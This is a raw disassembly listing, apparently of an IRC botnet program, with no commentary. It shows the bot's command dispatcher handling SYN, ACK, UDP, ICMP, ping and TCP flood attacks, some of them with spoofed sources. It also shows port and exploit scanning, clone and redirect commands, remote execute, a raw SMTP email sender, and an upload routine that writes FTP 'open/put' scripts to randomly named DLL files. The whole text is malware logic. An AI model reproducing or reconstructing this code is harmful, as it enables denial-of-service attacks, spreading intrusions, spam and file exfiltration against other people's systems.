		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]	; Str2
		push	offset aDe	; "de"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4085E9
		push	[ebp+arg_8]	; Str2
		push	offset aJpDe10	; "jp]de10"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]	; Str2
		push	offset aJp10	; "jp]10"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408458
		push	[ebp+arg_8]	; Str2
		push	offset aExecute	; "execute"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]	; Str2
		push	offset aE	; "e"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4083C5
		push	[ebp+arg_8]	; Str2
		push	offset aFindfile ; "findfile"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]	; Str2
		push	offset aFf	; "ff"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4082B6
		push	[ebp+arg_8]	; Str2
		push	offset aRename	; "rename"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]	; Str2
		push	offset aMv	; "mv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40823F
		push	[ebp+arg_8]	; Str2
		push	offset aIcmpflood ; "icmpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		push	[ebp+arg_8]	; Str2
		push	offset aIcmp	; "icmp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_408142
		mov	eax, [ebp+esi+Str2]
		cmp	eax, ebx
		mov	[ebp+Src], eax
		jz	loc_401E94
		push	[ebp+arg_8]	; Str2
		push	offset aClone_0	; "clone"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]	; Str2
		push	offset aC_0	; "c"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40805A
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_syn ; "ddos.syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_ack ; "ddos.ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]	; Str2
		push	offset aDdos_random ; "ddos.random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407F61
		push	[ebp+arg_8]	; Str2
		push	offset aWisdom_udp ; "wisdom.udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4067D7
		push	7Fh
		lea	eax, [ebp+var_327C]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_31FC]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_317C]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_30FC]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_3074],	eax
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	13h		; int
		push	eax		; Source
		mov	[ebp+var_3078],	edi
		mov	[ebp+var_3280],	esi
		call	sub_40B0F7
		add	esp, 3Ch
		mov	[ebp+var_307C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3280]
		push	ebx
		push	eax
		push	offset sub_4146CF
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_307C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4067C6


loc_4067B0:				; CODE XREF: sub_401ACD+4CF7j
		cmp	[ebp+var_3070],	ebx
		jnz	loc_403DA1
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4067B0
; ---------------------------------------------------------------------------


loc_4067C6:				; CODE XREF: sub_401ACD+4CE1j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B298
		jmp	loc_403D92
; ---------------------------------------------------------------------------


loc_4067D7:				; CODE XREF: sub_401ACD+4C37j
		push	[ebp+arg_8]	; Str2
		push	offset aSynflood ; "synflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]	; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407E79
		push	[ebp+arg_8]	; Str2
		push	offset aSkysyn	; "skysyn"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406904
		push	7Fh
		lea	eax, [ebp+var_36A4]
		pop	esi
		push	esi		; Count
		push	[ebp+Source]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3624]
		push	edi		; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_35A4]
		push	[ebp+Src]	; Source
		push	eax		; Dest
		call	_strncpy
		push	esi		; Count
		lea	eax, [ebp+var_3524]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+var_4]
		add	esp, 30h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_34A0],	eax
		push	[ebp+Src]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_349C],	eax
		lea	eax, [ebp+Dst]
		push	edi
		mov	[ebp+var_36A8],	esi
		push	[ebp+Source]
		push	offset asc_42B250 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	10h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 20h
		mov	[ebp+var_34A4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_36A8]
		push	ebx
		push	eax
		push	offset sub_413627
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_34A4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_4068F3


loc_4068DD:				; CODE XREF: sub_401ACD+4E24j
		cmp	[ebp+var_3498],	ebx
		jnz	loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_4068DD
; ---------------------------------------------------------------------------


loc_4068F3:				; CODE XREF: sub_401ACD+4E0Ej
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset dword_42B214
		jmp	loc_40726A
; ---------------------------------------------------------------------------


loc_406904:				; CODE XREF: sub_401ACD+4D49j
		push	[ebp+arg_8]	; Str2
		push	offset aPhatwonk ; "phatwonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]	; Str2
		push	offset aWonk	; "wonk"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407D91
		push	[ebp+arg_8]	; Str2
		push	offset aJpldg10	; "jpldg10"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]	; Str2
		push	offset aJpl10	; "jpl10"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407C53
		push	[ebp+arg_8]	; Str2
		push	offset aRedirect ; "redirect"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]	; Str2
		push	offset aRd	; "rd"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407B56
		push	[ebp+arg_8]	; Str2
		push	offset aScan_0	; "scan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]	; Str2
		push	offset aSc	; "sc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407A63
		push	[ebp+arg_8]	; Str2
		push	offset aC_privmsg ; "c_privmsg"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]	; Str2
		push	offset aC_pm	; "c_pm"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40795E
		push	[ebp+arg_8]	; Str2
		push	offset aC_action ; "c_action"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		push	[ebp+arg_8]	; Str2
		push	offset aC_a	; "c_a"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407866
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_401E94
		push	[ebp+arg_8]	; Str2
		push	offset aPortscan ; "portscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]	; Str2
		push	offset aPsc	; "psc"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407760
		push	[ebp+arg_8]	; Str2
		push	offset aAdvscan	; "advscan"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]	; Str2
		push	offset aAdv	; "adv"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407299
		push	[ebp+arg_8]	; Str2
		push	offset aUdpflood ; "udpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]	; Str2
		push	offset aUdp	; "udp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]	; Str2
		push	offset aU	; "u"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407150
		push	[ebp+arg_8]	; Str2
		push	offset aNetsend	; "netsend"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]	; Str2
		push	offset aNs	; "ns"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407042
		push	[ebp+arg_8]	; Str2
		push	offset aPingflood ; "pingflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]	; Str2
		push	offset aPing_0	; "ping"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]	; Str2
		push	offset aP	; "p"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406F18
		push	[ebp+arg_8]	; Str2
		push	offset aTcpflood ; "tcpflood"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]	; Str2
		push	offset aTcp	; "tcp"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_406D6F
		push	[ebp+arg_8]	; Str2
		push	offset aEmail	; "email"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_406D17
		push	[ebp+Source]	; Source
		lea	eax, [ebp+var_47EC]
		push	eax		; Dest
		call	_strcpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Source
		mov	[ebp+Source], eax
		lea	eax, [ebp+var_4188]
		push	eax		; Dest
		call	_strcpy
		push	[ebp+arg_18]	; Source
		lea	eax, [ebp+var_4588]
		push	eax		; Dest
		call	_strcpy
		push	offset asc_42D124 ; " "
		push	offset a_	; "_"
		push	[ebp+esi+var_7C] ; Src
		call	sub_417EEF
		push	eax		; Source
		lea	eax, [ebp+var_4288]
		push	eax		; Dest
		call	_strcpy
		add	esp, 30h
		lea	eax, [ebp+var_5588]
		push	eax
		push	101h
		call	dword_4CB5C4	; WSAStartup
		lea	eax, [ebp+var_47EC]
		push	eax
		call	dword_4CB6D8	; gethostbyname
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_4CB6D4	; socket
		push	[ebp+Source]
		mov	esi, eax
		mov	[ebp+var_31C], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_318], eax
		call	dword_4CB654	; htons
		mov	[ebp+var_31A], ax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_4288]
		push	eax
		lea	eax, [ebp+var_4588]
		push	eax
		lea	eax, [ebp+var_4188]
		push	eax
		lea	eax, [ebp+var_5988]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		lea	eax, [ebp+var_31C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB5FC	; connect
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C	; recv
		lea	eax, [ebp+var_4088]
		push	ebx
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_5988]
		push	eax
		push	esi
		call	dword_4CB6A4	; send
		push	ebx
		lea	eax, [ebp+var_4088]
		push	edi
		push	eax
		push	esi
		call	dword_4CB66C	; recv
		push	esi
		call	dword_4CB6EC	; closesocket
		call	dword_4CB5AC	; WSACleanup
		lea	eax, [ebp+var_4588]
		push	eax
		push	offset asc_42B0D4 ; "-"


loc_406CD0:				; CODE XREF: sub_401ACD+2E83j
					; sub_401ACD+4667j ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf


loc_406CDC:				; CODE XREF: sub_401ACD+248Cj
		add	esp, 0Ch


loc_406CDF:				; CODE XREF: sub_401ACD+4585j
					; sub_401ACD+6654j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406D00
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h


loc_406D00:				; CODE XREF: sub_401ACD+29B3j
					; sub_401ACD+2A06j ...
		mov	esi, [ebp+File]


loc_406D03:				; CODE XREF: sub_401ACD+68F3j
					; sub_401ACD+78E3j ...
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_4151AD
		pop	ecx
		mov	eax, esi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_406D17:				; CODE XREF: sub_401ACD+50ADj
		push	[ebp+arg_8]	; Str2
		push	offset aHttpcon	; "httpcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406D41
		push	[ebp+arg_8]	; Str2
		push	offset aHcon	; "hcon"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4072E9


loc_406D41:				; CODE XREF: sub_401ACD+525Bj
		push	[ebp+esi+var_7C] ; int
		push	[ebp+arg_18]	; int
		push	[ebp+Src]	; int
		push	edi		; Str
		call	_atoi
		pop	ecx
		push	eax		; int
		push	[ebp+Source]	; int
		push	[ebp+var_8]	; int
		push	[ebp+var_4]	; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_4100DC
		jmp	loc_4040AB
; ---------------------------------------------------------------------------


loc_406D6F:				; CODE XREF: sub_401ACD+507Fj
					; sub_401ACD+5096j
		push	[ebp+Source]	; Format
		mov	esi, 80h
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aSyn	; "syn"
		call	_strcmp
		add	esp, 14h
		test	eax, eax
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aAck	; "ack"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		lea	eax, [ebp+var_1354]
		push	eax		; Str2
		push	offset aRandom_0 ; "random"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406DD4
		push	offset unk_42B08C
		jmp	loc_406F05
; ---------------------------------------------------------------------------


loc_406DD4:				; CODE XREF: sub_401ACD+52CDj
					; sub_401ACD+52E4j ...
		push	[ebp+arg_18]	; Str
		call	_atoi
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_124C],	eax
		jle	loc_406F00
		push	[ebp+Source]	; Format
		lea	eax, [ebp+var_1354]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_13D4]
		push	edi		; Format
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	[ebp+Src]	; Str
		call	_atoi
		mov	[ebp+var_1250],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+Format]	; Format
		setnz	al
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13D8],	eax
		lea	eax, [ebp+var_12D4]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_1248],	ebx
		mov	[ebp+var_1244],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1240],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406E71
		mov	eax, offset aNormal ; "Normal"


loc_406E71:				; CODE XREF: sub_401ACD+539Dj
		push	[ebp+arg_18]
		push	[ebp+Src]
		push	edi
		push	[ebp+Source]
		push	eax
		push	offset asc_42B048 ; "-"
		lea	eax, [ebp+Dst]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	14h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 2Ch
		mov	[ebp+var_1254],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13D8]
		push	ebx
		push	eax
		push	offset sub_413E36
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_1254]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_406EEF


loc_406ED9:				; CODE XREF: sub_401ACD+5420j
		cmp	[ebp+var_123C],	ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_406ED9
; ---------------------------------------------------------------------------


loc_406EEF:				; CODE XREF: sub_401ACD+540Aj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42B010
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_406F00:				; CODE XREF: sub_401ACD+5318j
		push	offset asc_42AFD8 ; "-"


loc_406F05:				; CODE XREF: sub_401ACD+2019j
					; sub_401ACD+202Fj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		jmp	loc_40828C
; ---------------------------------------------------------------------------


loc_406F18:				; CODE XREF: sub_401ACD+503Aj
					; sub_401ACD+5051j ...
		cmp	dword_4CB744, ebx
		jnz	loc_407027
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		mov	[ebp+var_FF4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FF8], eax
		lea	eax, [ebp+var_108C]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_100C],	eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_1008],	eax
		call	_atoi
		push	7Fh		; Count
		mov	[ebp+var_1004],	eax
		push	[ebp+Format]	; Source
		lea	eax, [ebp+var_110C]
		push	eax		; Dest
		call	_strncpy
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1110],	eax
		lea	eax, [ebp+var_108C]
		push	[ebp+var_1004]
		push	[ebp+var_1008]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_100C]
		push	offset asc_42AF90 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	16h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1110]
		push	ebx
		push	eax
		push	offset sub_413285
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_FFC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_407016


loc_407000:				; CODE XREF: sub_401ACD+5547j
		cmp	[ebp+var_FF0], ebx
		jnz	loc_40828C
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_407000
; ---------------------------------------------------------------------------


loc_407016:				; CODE XREF: sub_401ACD+5531j
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset unk_42AF58
		jmp	loc_4049EC
; ---------------------------------------------------------------------------


loc_407027:				; CODE XREF: sub_401ACD+5451j
		push	1FFh		; Count
		lea	eax, [ebp+Dst]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax		; Dest
		call	_strncpy
		jmp	loc_408289
; ---------------------------------------------------------------------------


loc_407042:				; CODE XREF: sub_401ACD+500Cj
					; sub_401ACD+5023j
		push	edi
		lea	eax, [ebp+Dst]
		push	[ebp+Source]
		push	[ebp+Src]
		push	offset asc_42AF04 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		push	[ebp+Src]	; Str
		call	_strlen
		mov	edx, eax
		push	edi		; Str
		mov	edi, edx
		call	_strlen
		push	[ebp+Source]	; Str
		add	edi, eax
		call	_strlen
		push	[ebp+arg_8]	; Str
		add	edi, eax
		call	_strlen
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]	; SubStr
		lea	eax, [eax+edi+7]
		push	eax		; Str
		call	_strstr
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+Src]	; Str
		call	_atoi
		mov	edi, [ebp+arg_1C]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_20], ebx
		jle	short loc_40713C


loc_4070C5:				; CODE XREF: sub_401ACD+561Cj
		push	[ebp+arg_C]	; int
		push	edi		; int
		push	[ebp+Source]	; Source
		call	sub_4185A5
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_1C], eax
		jz	short loc_4070ED
		cmp	eax, ebx
		jnz	short loc_40710C
		inc	[ebp+arg_20]
		mov	eax, [ebp+arg_20]
		cmp	eax, [ebp+arg_14]
		jl	short loc_4070C5
		jmp	short loc_407145
; ---------------------------------------------------------------------------


loc_4070ED:				; CODE XREF: sub_401ACD+560Dj
		push	ebx		; int
		push	[ebp+var_4]	; int
		push	offset unk_42AECC ; int


loc_4070F6:				; CODE XREF: sub_401ACD+5681j
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 14h
		jmp	loc_4072E9
; ---------------------------------------------------------------------------


loc_40710C:				; CODE XREF: sub_401ACD+5611j
		push	[ebp+arg_1C]
		lea	eax, [ebp+Dst]
		push	offset asc_42AE98 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 20h


loc_40713C:				; CODE XREF: sub_401ACD+55F6j
		cmp	[ebp+arg_1C], ebx
		jnz	loc_4072E9


loc_407145:				; CODE XREF: sub_401ACD+561Ej
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AE64
		jmp	short loc_4070F6
; ---------------------------------------------------------------------------


loc_407150:				; CODE XREF: sub_401ACD+4FC7j
					; sub_401ACD+4FDEj ...
		mov	eax, [ebp+var_8]
		push	7Fh		; Count
		push	[ebp+Source]	; Source
		mov	[ebp+var_C64], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C68], eax
		lea	eax, [ebp+var_CFC]
		push	eax		; Dest
		call	_strncpy
		push	edi		; Str
		call	_atoi
		push	[ebp+Src]	; Str
		mov	[ebp+var_C7C], eax
		call	_atoi
		push	[ebp+arg_18]	; Str
		mov	[ebp+var_C78], eax
		call	_atoi
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C74], eax
		jz	short loc_4071B5
		push	esi		; Str
		call	_atoi
		pop	ecx
		mov	[ebp+var_C70], eax
		jmp	short loc_4071BB
; ---------------------------------------------------------------------------


loc_4071B5:				; CODE XREF: sub_401ACD+56D7j
		mov	[ebp+var_C70], ebx


loc_4071BB:				; CODE XREF: sub_401ACD+56E6j
		push	7Fh		; Count
		lea	eax, [ebp+var_D7C]
		push	[ebp+Format]	; Source
		push	eax		; Dest
		call	_strncpy
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_CFC]
		mov	[ebp+var_D80], esi
		push	[ebp+var_C74]
		push	[ebp+var_C78]
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+var_C7C]
		push	offset asc_42AE1C ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	17h		; int
		push	eax		; Source
		call	sub_40B0F7
		add	esp, 24h
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D80]
		push	ebx
		push	eax
		push	offset sub_413411
		push	ebx
		push	ebx
		call	ds:dword_42707C	; CreateThread
		mov	ecx, [ebp+var_C6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E5A4[ecx], eax
		jz	short loc_40725E


loc_40724C:				; CODE XREF: sub_401ACD+578Fj
		cmp	[ebp+var_C60], ebx
		jnz	short loc_407279
		push	32h
		call	ds:dword_427078	; Sleep
		jmp	short loc_40724C
; ---------------------------------------------------------------------------


loc_40725E:				; CODE XREF: sub_401ACD+577Dj
		call	ds:dword_42708C	; RtlGetLastWin32Error
		push	eax
		push	offset asc_42ADE4 ; "-"


loc_40726A:				; CODE XREF: sub_401ACD+4E32j
					; sub_401ACD+62BFj ...
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_407279:				; CODE XREF: sub_401ACD+4E16j
					; sub_401ACD+5785j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4083BD
		push	ebx
		push	[ebp+var_4]


loc_407286:				; CODE XREF: sub_401ACD+22DFj
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+Format]
		push	esi
		jmp	loc_4082A9
; ---------------------------------------------------------------------------


loc_407299:				; CODE XREF: sub_401ACD+4F99j
					; sub_401ACD+4FB0j
		push	0Bh
		call	sub_40B33F
		push	edi		; Str
		mov	[ebp+arg_1C], eax
		call	_atoi
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 1F4h
		jle	loc_407455
		push	[ebp+arg_1C]
		lea	eax, [ebp+Dst]
		push	offset asc_42ADA4 ; "-"
		push	eax		; Dest
		call	_sprintf
		push	ebx		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_4]	; int
		push	eax		; int
		push	[ebp+Format]	; Str
		push	[ebp+arg_4]	; int
		call	sub_409A73
		add	esp, 20h


loc_4072E9:				; CODE XREF: sub_401ACD+526Ej
					; sub_401ACD+563Aj ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401E94
		push	[ebp+arg_8]	; Str2
		push	offset aUpload	; "upload"
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409855
		push	4
		push	esi
		call	sub_416909
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407325
		push	esi
		push	offset unk_42AD7C
		jmp	loc_408CDC
; ---------------------------------------------------------------------------


loc_407325:				; CODE XREF: sub_401ACD+584Bj
		call	ds:dword_4270A8	; GetTickCount
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	_rand
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	_rand
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_51F8]
		push	edx
		push	eax
		lea	eax, [ebp+Filename]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Filename]
		push	offset Mode	; "ab"
		push	eax		; Filename
		call	_fopen
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+File], eax
		jz	loc_401E94
		push	esi
		push	[ebp+arg_18]
		push	[ebp+Src]
		push	edi
		push	[ebp+Source]
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax		; File
		call	_fprintf
		push	[ebp+File]	; File
		call	_fclose
		add	esp, 20h
